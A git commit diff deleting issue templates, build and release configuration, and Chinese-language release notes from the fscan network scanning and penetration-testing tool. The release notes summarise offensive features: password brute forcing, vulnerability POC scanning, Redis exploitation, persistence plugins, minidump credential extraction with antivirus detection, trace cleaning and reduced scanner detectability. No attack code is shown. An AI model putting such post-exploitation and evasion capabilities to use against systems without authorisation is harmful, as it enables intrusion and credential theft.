1 Commits
Author SHA1 Message Date
影舞者 84556e3bb5 Update README.md 2021-02-08 15:15:04 +08:00
1138 changed files with 19256 additions and 158794 deletions
-2
View File
@@ -1,2 +0,0 @@
# 统一换行符为 LF
* text=auto eol=lf
-124
View File
@@ -1,124 +0,0 @@
name: 🐛 Bug 报告
description: 报告扫描异常、崩溃或错误行为
title: "[Bug] "
labels: ["bug"]
body:
- type: markdown
attributes:
value: |
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
**请勿直接提交未修改的模板**,未填写有效信息的 Issue 会被直接关闭。
- type: dropdown
id: module
attributes:
label: 问题模块
description: 问题出现在哪个功能模块?
options:
- 端口扫描 (Port Scan)
- 主机存活检测 (Host Discovery)
- 服务识别 (Service Detection)
- 弱口令爆破 (Brute Force)
- POC/漏洞扫描 (POC Scan)
- Web指纹识别 (Web Fingerprint)
- 代理功能 (Proxy)
- 输出/日志 (Output/Logging)
- 命令行参数 (CLI Arguments)
- 嵌入式 SDK (Embedded SDK)
- 其他 (Other)
validations:
required: true
- type: dropdown
id: severity
attributes:
label: 严重程度
options:
- 崩溃/Panic (Crash)
- 功能异常 (Malfunction)
- 结果不准确 (Inaccurate)
- 性能问题 (Performance)
- 其他 (Other)
validations:
required: true
- type: textarea
id: description
attributes:
label: 问题描述
description: 清晰描述遇到的问题,包括预期行为和实际行为
validations:
required: true
- type: textarea
id: reproduce
attributes:
label: 复现步骤
description: 提供可以复现问题的完整命令(请脱敏 IP/密码)
render: shell
validations:
required: true
- type: textarea
id: output
attributes:
label: 错误输出
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
render: shell
- type: dropdown
id: version
attributes:
label: fscan 版本
options:
- 2.2.0
- 2.2.0-rc
- 2.1.3
- 2.1.2
- 2.1.0
- 2.0.x
- 1.8.x
- 其他/自编译
validations:
required: true
- type: dropdown
id: os
attributes:
label: 操作系统
options:
- Windows 11
- Windows 10
- Windows Server 2022
- Windows Server 2019
- Ubuntu 24.04
- Ubuntu 22.04
- CentOS 7/8/Stream
- Debian 11/12
- Kali Linux
- macOS 15 (Sequoia)
- macOS 14 (Sonoma)
- 其他 Linux
- 其他
validations:
required: true
- type: dropdown
id: arch
attributes:
label: 系统架构
options:
- amd64 (x86_64)
- arm64 (aarch64)
- 386 (x86)
- arm
- mips/mipsle
validations:
required: true
- type: textarea
id: additional
attributes:
label: 补充信息
description: 其他有助于排查的信息(网络环境、是否使用代理、自编译请注明 Go 版本等)
-10
View File
@@ -1,10 +0,0 @@
# Issue 模板配置
blank_issues_enabled: false
contact_links:
- name: 📖 使用文档 / README
url: https://github.com/shadow1ng/fscan/blob/main/README.md
about: 提交 Issue 前请先查阅文档,确认不是用法问题
- name: 💬 讨论区 / Discussions
url: https://github.com/shadow1ng/fscan/discussions
about: 使用疑问、经验分享、一般性讨论请使用 Discussions
-112
View File
@@ -1,112 +0,0 @@
name: 🎯 误报/漏报
description: 报告扫描结果不准确的问题
title: "[Accuracy] "
labels: ["accuracy"]
body:
- type: markdown
attributes:
value: |
感谢您帮助提高 fscan 的准确性!
**请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。
- type: dropdown
id: type
attributes:
label: 问题类型
options:
- 误报 (False Positive) - 报告了不存在的问题
- 漏报 (False Negative) - 未能检测到存在的问题
validations:
required: true
- type: dropdown
id: category
attributes:
label: 涉及功能
options:
- 主机存活检测
- 端口状态判断
- 服务识别
- 弱口令检测
- POC/漏洞检测
- Web指纹识别
- 其他
validations:
required: true
- type: textarea
id: command
attributes:
label: 使用的命令
description: 执行的 fscan 命令(请脱敏真实 IP/密码)
render: shell
validations:
required: true
- type: textarea
id: fscan-output
attributes:
label: fscan 输出结果
description: 粘贴相关的扫描输出(请脱敏敏感信息)
render: shell
validations:
required: true
- type: textarea
id: actual
attributes:
label: 实际情况及验证方式
description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等)
validations:
required: true
- type: dropdown
id: target-os
attributes:
label: 目标操作系统
options:
- Windows Server
- Windows Desktop
- Ubuntu/Debian
- CentOS/RHEL
- 其他 Linux
- 网络设备
- 容器/Docker
- 未知
validations:
required: true
- type: dropdown
id: network
attributes:
label: 网络环境
options:
- 直连(同网段)
- 跨网段/路由
- 通过代理 (SOCKS5/HTTP)
- VPN
validations:
required: true
- type: dropdown
id: version
attributes:
label: fscan 版本
options:
- 2.2.0
- 2.2.0-rc
- 2.1.3
- 2.1.2
- 2.1.0
- 2.0.x
- 1.8.x
- 其他/自编译
validations:
required: true
- type: textarea
id: suggestion
attributes:
label: 改进建议(可选)
description: 如果您有改进判断逻辑的想法
@@ -1,68 +0,0 @@
name: ✨ 功能请求
description: 提议新功能或改进现有功能
title: "[Feature] "
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的功能建议!请描述清楚使用场景和期望行为。
纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。
- type: dropdown
id: category
attributes:
label: 功能类别
options:
- 新扫描能力 (New Scan Capability)
- 性能优化 (Performance)
- 用户体验 (UX/CLI)
- 输出格式 (Output Format)
- 配置选项 (Configuration)
- 嵌入式 SDK (Embedded SDK)
- 集成/API (Integration/API)
- 其他 (Other)
validations:
required: true
- type: textarea
id: problem
attributes:
label: 解决什么问题?
description: 描述您的实际使用场景和痛点
validations:
required: true
- type: textarea
id: solution
attributes:
label: 期望的解决方案
description: 描述您希望的功能行为,最好包含预期的命令行用法示例
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: 替代方案(可选)
description: 您目前的变通方法,或考虑过的其他方案
- type: dropdown
id: priority
attributes:
label: 优先级建议
description: 您认为这个功能的重要程度
options:
- 高 - 核心场景缺失,严重影响使用
- 中 - 明显改善体验
- 低 - 锦上添花
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个功能并提交 PR
-71
View File
@@ -1,71 +0,0 @@
name: 🔌 新插件/协议支持
description: 请求支持新的服务、协议或漏洞检测
title: "[Plugin] "
labels: ["plugin", "enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
提交前请先确认该服务尚未被支持(查看 README 的支持列表)。
- type: dropdown
id: type
attributes:
label: 请求类型
options:
- 新服务/协议支持 (New Service)
- 新弱口令检测 (New Brute Force)
- 新漏洞 POC (New POC)
- 新指纹识别 (New Fingerprint)
validations:
required: true
- type: input
id: service
attributes:
label: 服务/协议名称
description: 例如 ClickHouse、etcd、Consul、Zookeeper
validations:
required: true
- type: input
id: port
attributes:
label: 默认端口
description: 例如 9000、2379、8500
- type: textarea
id: description
attributes:
label: 服务描述与检测思路
description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等)
validations:
required: true
- type: textarea
id: reference
attributes:
label: 参考资料(可选)
description: 官方文档链接、协议规范、其他工具实现、CVE 编号等
- type: dropdown
id: prevalence
attributes:
label: 内网常见程度
options:
- 非常常见(企业环境标配)
- 较为常见(经常遇到)
- 偶尔遇到
- 较少见但高价值
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个插件并提交 PR
- label: 我可以提供测试环境
-61
View File
@@ -1,61 +0,0 @@
# 发版流程
## 预检查
```bash
# 1. 确认 CI 通过
gh run list --branch dev --limit 3
# 2. 全平台 dry-run(手动触发 snapshot 模式)
gh workflow run release.yml -f snapshot=true
# 3. 确认版本号一致
grep "version" common/globals.go
grep "版本" README.md
grep "Version" README_EN.md
```
## 发版
```bash
# 1. 确认 release notes 已就绪
cat .github/release-notes/v<VERSION>.md
# 2. 打 tag(RC 手动打;正式版合并到 main 后由 CI 自动打 tag
git tag v<VERSION>
git push origin v<VERSION>
# CI 自动执行:
# - goreleaser 全平台构建 + UPX 压缩
# - 创建 GitHub ReleaseRC 自动标记 pre-release
# - 用 .github/release-notes/ 下的文件覆盖 release body
```
## 版本号规范
| 场景 | 格式 | 分支 | 示例 |
|------|------|------|------|
| 正式版 | `vX.Y.Z` | main | `v2.2.0` |
| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` |
| 热修复 | `vX.Y.Z` | main | `v2.2.1` |
## Release Notes 模板
放在 `.github/release-notes/<tag>.md`,格式参考 `v2.2.0-rc.md`
如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。
## 正式版发布(RC → 正式)
```bash
# 1. 在 dev 分支准备正式版内容
# common/globals.go, README.md, README_EN.md
# .github/release-notes/v2.2.0.md
# 2. 创建 dev -> main PR
gh pr create --base main --head dev
# 3. 合并 PR
# main push 会自动读取 common/globals.go 中的版本号,创建 v<VERSION> tag
# tag push 会触发 GoReleaser 构建并创建 GitHub Release
```
-91
View File
@@ -1,91 +0,0 @@
name: '构建和发布'
description: 'fscan 可复用构建动作'
inputs:
mode:
description: '构建模式: release 或 snapshot'
required: true
default: 'snapshot'
go-version:
description: 'Go 版本'
required: false
default: '1.20'
retention-days:
description: '产物保留天数'
required: false
default: '7'
release-args:
description: '额外的 goreleaser 参数'
required: false
default: ''
runs:
using: 'composite'
steps:
- name: 设置 Go 环境
uses: actions/setup-go@v5
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
with:
go-version: ${{ inputs.go-version }}
cache: true
- name: 下载依赖
shell: bash
run: |
go mod download
go mod verify
- name: 安装 UPX
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: 使用 GoReleaser 构建
uses: goreleaser/goreleaser-action@v6
with:
distribution: goreleaser
version: latest
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
env:
GITHUB_TOKEN: ${{ github.token }}
GITHUB_OWNER: ${{ github.repository_owner }}
GITHUB_REPO: ${{ github.event.repository.name }}
PROJECT_NAME: ${{ github.event.repository.name }}
- name: 上传产物
uses: actions/upload-artifact@v4
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
if: always()
with:
name: build-${{ inputs.mode }}-${{ github.run_id }}
path: dist/
retention-days: ${{ inputs.retention-days }}
- name: 生成报告
shell: bash
if: always()
run: |
cat >> $GITHUB_STEP_SUMMARY << EOF
# 构建报告
| 项目 | 值 |
|------|-----|
| 模式 | \`${{ inputs.mode }}\` |
| 版本 | \`${GITHUB_REF_NAME}\` |
| 提交 | \`${GITHUB_SHA:0:7}\` |
| Go | \`$(go version | awk '{print $3}')\` |
## 构建产物
$(if [ -d "dist" ]; then
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
else
echo "- 无产物"
fi)
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
EOF
-246
View File
@@ -1,246 +0,0 @@
version: 2
project_name: "fscan"
before:
hooks:
- go mod tidy
- go mod download
builds:
# 标准版 - 全部插件(全架构)
- id: fscan
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin, freebsd, solaris]
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
goarm: ["5", "6", "7"]
gomips: [softfloat]
ignore:
- goos: darwin
goarch: "386"
- goos: darwin
goarch: arm
- goos: darwin
goarch: mips
- goos: darwin
goarch: mips64
- goos: darwin
goarch: mipsle
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: windows
goarch: mips
- goos: windows
goarch: mips64
- goos: windows
goarch: mipsle
- goos: freebsd
goarch: mips
- goos: freebsd
goarch: mips64
- goos: freebsd
goarch: mipsle
- goos: solaris
goarch: "386"
- goos: solaris
goarch: arm
- goos: solaris
goarch: arm64
- goos: solaris
goarch: mips
- goos: solaris
goarch: mips64
- goos: solaris
goarch: mipsle
flags: [-trimpath]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
# 无本地插件版 - 排除本地模块(全架构)
- id: fscan-nolocal
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin, freebsd, solaris]
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
goarm: ["5", "6", "7"]
gomips: [softfloat]
ignore:
- goos: darwin
goarch: "386"
- goos: darwin
goarch: arm
- goos: darwin
goarch: mips
- goos: darwin
goarch: mips64
- goos: darwin
goarch: mipsle
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: windows
goarch: mips
- goos: windows
goarch: mips64
- goos: windows
goarch: mipsle
- goos: freebsd
goarch: mips
- goos: freebsd
goarch: mips64
- goos: freebsd
goarch: mipsle
- goos: solaris
goarch: "386"
- goos: solaris
goarch: arm
- goos: solaris
goarch: arm64
- goos: solaris
goarch: mips
- goos: solaris
goarch: mips64
- goos: solaris
goarch: mipsle
flags: [-trimpath]
tags: [no_local]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
# WebUI版 - 主流平台即可
- id: fscan-web
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin]
goarch: [amd64, arm64, "386"]
goarm: ["7"]
ignore:
- goos: darwin
goarch: "386"
- goos: windows
goarch: arm64
flags: [-trimpath]
tags: [web]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
upx:
- ids: [fscan, fscan-nolocal, fscan-web]
enabled: true
goos: [windows, linux]
goarch: [amd64, "386", arm64]
compress: "6"
brute: false
lzma: false
archives:
# 标准版归档
- id: fscan
ids: [fscan]
formats: [binary]
allow_different_binary_count: true
name_template: >-
fscan_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# 无本地插件版归档
- id: fscan-nolocal
ids: [fscan-nolocal]
formats: [binary]
allow_different_binary_count: true
name_template: >-
fscan-nolocal_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# WebUI版归档
- id: fscan-web
ids: [fscan-web]
formats: [binary]
allow_different_binary_count: true
name_template: >-
fscan-web_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
checksum:
name_template: 'checksums.txt'
algorithm: sha256
changelog:
sort: asc
use: github
filters:
exclude:
- "^(docs|test|ci|chore):"
- "Merge (pull request|branch)"
groups:
- title: "🚀 新功能"
regexp: "^.*feat[(\\w)]*:+.*$"
order: 0
- title: "🐛 问题修复"
regexp: "^.*fix[(\\w)]*:+.*$"
order: 1
- title: "🔧 其他改进"
order: 999
release:
github:
owner: "{{ .Env.GITHUB_OWNER }}"
name: "{{ .Env.GITHUB_REPO }}"
draft: false
prerelease: auto
mode: replace
header: |
## {{ .ProjectName }} {{ .Tag }}
感谢使用 {{ .ProjectName }}
### 版本说明
| 版本 | 说明 |
|------|------|
| **fscan** | 标准版,包含全部插件(推荐) |
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
### 平台支持
| 平台 | 架构 |
|------|------|
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
| Windows | x64, x32 |
| macOS | x64, arm64 |
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
| Solaris | x64 |
footer: |
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
snapshot:
version_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
metadata:
mod_timestamp: "{{ .CommitTimestamp }}"
-117
View File
@@ -1,117 +0,0 @@
# fscan v2.2.0-rc.1
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
---
## 与 v2.2.0-rc 的变更
本版本基于大量实机测试反馈,**修复 30+ 个问题,新增自适应扫描系统**。183 个文件变更。
---
### 🚀 新功能
#### 自适应并发调度
扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据推导关键参数,替代硬编码默认值:
- **Timeout**: `median_RTT + 4σ`(覆盖 99.9% 正常连接),下限 1s,上限 10s
- **ModuleThreadNum**: `ThreadNum / 30`,下限 5,上限 50
- **MaxRetries**: 基于丢包率推导,保证全失败概率 <1%
- **ICMPRate / PocNum**: 跟随环境和并发自动调整
线程池升级为 **AIMD + 慢启动**:慢启动阶段 500ms 翻倍,稳态 AIMD(健康 +5%,拥塞 ×0.5),双信号(资源耗尽率 + RTT 趋势)驱动。
#### 协议级超时下限(ModuleTimeout
新增 `Config.ModuleTimeout()` 方法,保证插件级交互超时不低于 3s。自适应系统将端口扫描超时压到 1s 时,SSH 握手、SNMP 探测、数据库认证等多轮交互协议不再受影响。全部 44 个服务插件已迁移。
#### 限流错误分类(ErrorTypeThrottle
新增 `ErrorTypeThrottle` 错误类型,区分服务端限流(SSH MaxStartups 等)和真正的网络不可达。限流错误不计入连续失败计数,触发 500ms 退避后继续,避免误判目标不可达而提前放弃。
#### Web 版独立入口
- 拆分 `main.go``main_cli.go``main_web.go`
- Web 版结果存储从内存替换为 SQLite 持久化(纯 Go 零 CGO
---
### 🐛 Bug 修复
#### 插件调度(#586 #587 #588
- **非标准端口服务无法匹配插件** — SSH 在 8881 端口,端口匹配失败导致插件不执行。新增服务名称缓存 + 指纹驱动回退匹配 (#588)
- **移除误导性的"无可用插件"日志** — 预检基于静态端口匹配,不代表实际不执行 (#588)
- **默认扫描 POC 结果缺失** — `executeRules` 返回空 `vulName` 导致检测结果被丢弃 (#586)
- **批量扫描(-hf)POC 缺失** — 并发压力下 HTTP 请求瞬时失败未重试,跳过指纹识别和 POC 触发。加入指数退避重试 (#587)
- **UDP 插件在 `-p` 指定端口时被跳过** — 现在按用户指定端口过滤并正确调度
- **`-full` 模式下 Web 插件跳过 `IsMarkedWebService` 检查**
- **不确定服务补做 HTTP 回退探测**,覆盖自定义 HTTP 框架漏网场景
#### UDP 插件
- **UDP 插件阻塞导致扫描无法结束** — `conn.Read()` 在目标不响应时无限阻塞。所有 UDP 插件(SNMP/BACnet/DNS/IPMI/TFTP)统一使用 context timeout + conn.Close 双保险
- **SNMP community 爆破混入通用密码字典** — 57 个通用密码串行探测导致 10 分钟阻塞,精简为 8 个专用 community
#### SSH
- **SSH goroutine 泄漏** — `ssh.NewClientConn` 不接受 contextcontext 取消后底层 TCP 连接未关闭,大规模扫描时泄漏数万 goroutine
- **SSH 握手无 TCP deadline 兜底** — 在 `NewClientConn` 前设置 deadline,握手成功后清除
- **SSH 爆破并发过高** — 从 30 降至 3,避免触发 OpenSSH MaxStartups 限流
#### Redis
- **Redis exploit 无超时保护** — exploit 阶段移除了全部 deadline,改为 30s 超时
- **Redis readReply 吞没非超时错误** — 现在仅对 timeout 类型错误做容忍
#### POC 引擎
- **DetectPocFormat 误判含 transport 的 fscan POC 为 xray 格式** — 修复后 388 个 POC 全部正确加载(之前 8 个失败)
- **CEL clustersend 结果判断错误** — 从字符串比较改为类型断言
- **CEL wait() 函数 nil Reverse 指针 panic**
- **reverseCheck 无超时** — 加 10s 超时防止 ceye API 阻塞
- **正则编译结果未缓存** — `doSearch`/`bmatches` 缓存到 `sync.Map`
#### 参数与输出
- **`-gt` 全局超时参数是死代码** — 现在真正生效,超时后取消所有扫描任务
- **`-nopoc` 禁用 POC 时仍输出错误日志** — 已修复
- **`-debug` 日志文件写入失败** — `applyLogLevel` 重建 Logger 时丢失 `DebugLogFile` 配置
- **`-hash` 不支持 LM:NT 格式** — 现在支持 `aad3b435b51404ee:31d6cfe0d16ae931...` 标准格式
- **`-pwd` 不支持逗号分隔多个密码** — 现在 `-pwd "123,456,root"` 正确拆分
- **`-nobr` 跳过了 Redis 未授权检测** — 未授权是服务探测不是爆破,不受 `-nobr` 影响
- **非终端输出时 ANSI 控制码覆盖扫描结果** — 管道/重定向时自动禁用进度条和颜色
- **静默模式 NDJSON banner 过长** — Redis INFO ~5KB 截断至 200 字符
- **CSV 漏洞 Type 列为空** — 补全 `type` 字段
- **SNMP 探测成功但终端无输出** — 补充 `session.LogVuln` 调用
#### 其他
- **service_probe 连接丢失后静默成功** — `Write`/`Read``Conn=nil` 时返回明确错误
- **MongoDB readMongoMsg 未设置读超时**
- **TXTWriter.Close Sync 失败后未关闭文件**
- **MySQL 3306 服务名误识别为 genetec-5400** — nmap 指纹库误匹配,通过 banner 特征校正
- **gmtls stdout 竞态** — 移除 `os.Stdout` 非同步重定向
---
### 🏗️ 架构优化
- **统一服务缓存** — `webServiceCache` 扩展为通用 `serviceCache`,下沉到 per-session State,消除多实例缓存串台
- **CEL 表达式编译缓存** — 同一 POC 的所有规则共享编译后的 Program
- **POC 全局状态消除** — `allPocs` 全局变量改为 `pocStore` 按 PocPath 缓存,并发场景不再互相覆盖
- **进度条竞态修复** — `isActive` 改为 `atomic.Bool`
- **Lint 全量修复** — cassandra/ipmi/mongodb/webscan 的 ineffassign、unused、errcheck
---
## 反馈与贡献
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
-106
View File
@@ -1,106 +0,0 @@
# fscan v2.2.0-rc
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
---
## 与 v2.1.3 的主要变更
### 🏗️ 架构升级:嵌入式 Scanner SDK
新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。
- 支持从其他 Go 程序直接调用 fscan 扫描能力
- 每个 Scanner 实例拥有独立的 config/state/session
- 支持多实例并发扫描,日志和结果完全隔离
- 全局状态已完整迁移到 session 实例
### 🚀 大规模扫描支持
- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存
- **移除 MaxHosts 硬限制** — 大网段不再被静默截断
- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic
### 🔌 新增协议插件(+9
| 插件 | 用途 |
|------|------|
| IMAP / POP3 | 邮件服务器检测 |
| JDWP | Java Debug 端口检测 |
| NFS / RMI | 文件共享 / Java 远程调用 |
| IPMI | 服务器带外管理 |
| SNMP (UDP) | 网络设备管理 |
| DNS / BACnet / Modbus | DNS 服务 / 工控协议 |
全部为**原生协议实现**,零外部依赖。
### ⚡ 性能与体积优化
- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小**
- 热路径零分配、自适应连接池 CAS 无锁化
- Scanner 客户端指纹收敛(降低被检测概率)
### 🌐 网络能力增强
- **SOCKS5 代理认证**支持(用户名/密码)
- **国密 TLS**SM2/SM3/SM4)网站扫描
- 支持 `-add-password` 追加多个自定义密码
### 🔧 本地后渗透插件
- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask
- minidump 降级链凭据提取 + 杀软前置检测
- cleaner 清理所有持久化痕迹
- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo
### 📦 工程改进
- 目录重命名:`WebScan/``webscan/``mylib/``libs/`
- i18n 覆盖扩展(中/英双语)
- 全量 lint/errcheck 修复
- 补充大量单元测试
---
## ⚠️ 已知问题 / 注意事项
| 问题 | 说明 |
|------|------|
| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) |
| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) |
| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 |
| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 |
| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 |
---
## 反馈与贡献
这是一个 RC 版本,我们非常需要你的反馈:
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
---
## 版本说明
| 版本 | 说明 |
|------|------|
| **fscan** | 标准版,包含全部插件(推荐) |
| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) |
| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) |
## 平台支持
| 平台 | 架构 |
|------|------|
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
| Windows | x64, x32 |
| macOS | x64 (Intel), arm64 (Apple Silicon) |
| FreeBSD | x64, x32, arm64, armv5/6/7 |
| Solaris | X64n |
-129
View File
@@ -1,129 +0,0 @@
# fscan v2.2.0
v2.2.0 是 v2.2 系列首个正式版,基于 v2.1.3 之后的 RC 测试和 Issue 反馈整理发布。
本版本重点提升大规模扫描稳定性、POC 扫描可靠性、非标准端口服务识别、插件隔离和嵌入式 SDK 能力。
---
## 重点变化
### 嵌入式 Scanner SDK
新增 `pkg/fscan`,fscan 从纯 CLI 工具扩展为可嵌入的 Go 扫描引擎:
- 支持在 Go 程序内直接调用扫描能力
- Scanner 实例拥有独立 `config` / `state` / `session`
- 全局状态迁移到 session,改善多实例并发隔离
- 补充 SDK 结果转换、配置校验和并发扫描测试
### 大规模扫描稳定性
- 新增流式 Host Iterator,大 CIDR 不再一次性展开到内存
- 移除 MaxHosts 硬限制,大网段不再被静默截断
- 新增自适应并发调度,基于 RTT、丢包率、fd limit 自动推导扫描参数
- 线程池升级为 AIMD + 慢启动,遇到资源耗尽时自动降速
- `-gt` 全局超时正式生效,超时后会取消扫描任务
- 新增 `-nsp`,可禁用网段预筛
### 服务识别与插件调度
- 修复非标准端口服务无法匹配插件的问题
- 新增服务缓存和指纹驱动插件匹配
- `-full` 模式下 Web 插件可覆盖所有开放端口
- 不确定服务增加 HTTP 回退探测
- 移除误导性的“无可用插件”日志
- 用户指定 `-p` 时 UDP 插件按端口交集正确调度
### Web / POC 扫描
- 修复默认扫描 POC 结果缺失
- 修复 `-hf` 批量扫描时 POC 缺失
- 修复 HTTPS 端口误用 HTTP 扫描 POC
- 修复 POC 结果文件只显示 `vulnerable` 不显示漏洞名称
- POC 加载按 `pocpath` 隔离缓存,多 session 不再互相覆盖
- 修复 CEL、reverseCheck、正则缓存等稳定性问题
- `-nopoc` 禁用 POC 时不再输出误导性错误日志
### 新增协议插件
新增多种原生协议插件,覆盖邮件、Java 调试、文件共享、带外管理、UDP 和工控场景:
| 插件 | 用途 |
|------|------|
| IMAP / POP3 | 邮件服务器检测 |
| JDWP | Java Debug 端口检测 |
| NFS / RMI | 文件共享 / Java 远程调用 |
| IPMI | 服务器带外管理 |
| SNMP / DNS / BACnet / Modbus | 网络设备、DNS、工控协议检测 |
### Web 版
- 拆分 CLI / Web 入口
- Web 版结果存储改为 SQLite 持久化
- Web API 版本号改为动态读取
---
## Bug 修复摘要
- 修复 #586 默认扫描 POC 结果缺失
- 修复 #587 `-hf` 批量扫描 POC 缺失
- 修复 #588 非标准端口服务插件匹配问题
- 修复 #590 Telnet Cisco MOTD 横幅误判 shell prompt
- 修复 #591 HTTPS POC 协议错误与结果名称缺失
- 修复 #592 service probe 空指针 panic
- 修复 #593 `-ehf` 排除主机未生效,支持 IP / CIDR / range
- 修复 UDP 插件阻塞导致扫描无法结束
- 修复 SSH goroutine 泄漏和握手 deadline 问题
- 修复 Redis exploit 超时和非超时错误处理
- 修复 MongoDB SCRAM、Cassandra、Oracle 等协议问题
- 修复 SOCKS5 代理认证、LM:NT hash、逗号分隔密码等参数问题
- 修复非终端输出 ANSI 控制码覆盖结果
- 修复 CSV / NDJSON / TXT 输出若干字段问题
- 修复 ARM 32 位原子计数器对齐问题
---
## 升级注意
- WebUI 仍建议视为实验性能力
- 本地后渗透插件仅用于授权环境
- v2.2.0 改动较大,建议从 v2.1.3 升级的用户先在测试环境验证扫描参数
- 如依赖旧版本输出格式,请重点检查 POC、SERVICE、VULN 结果字段
---
## 版本说明
| 版本 | 说明 |
|------|------|
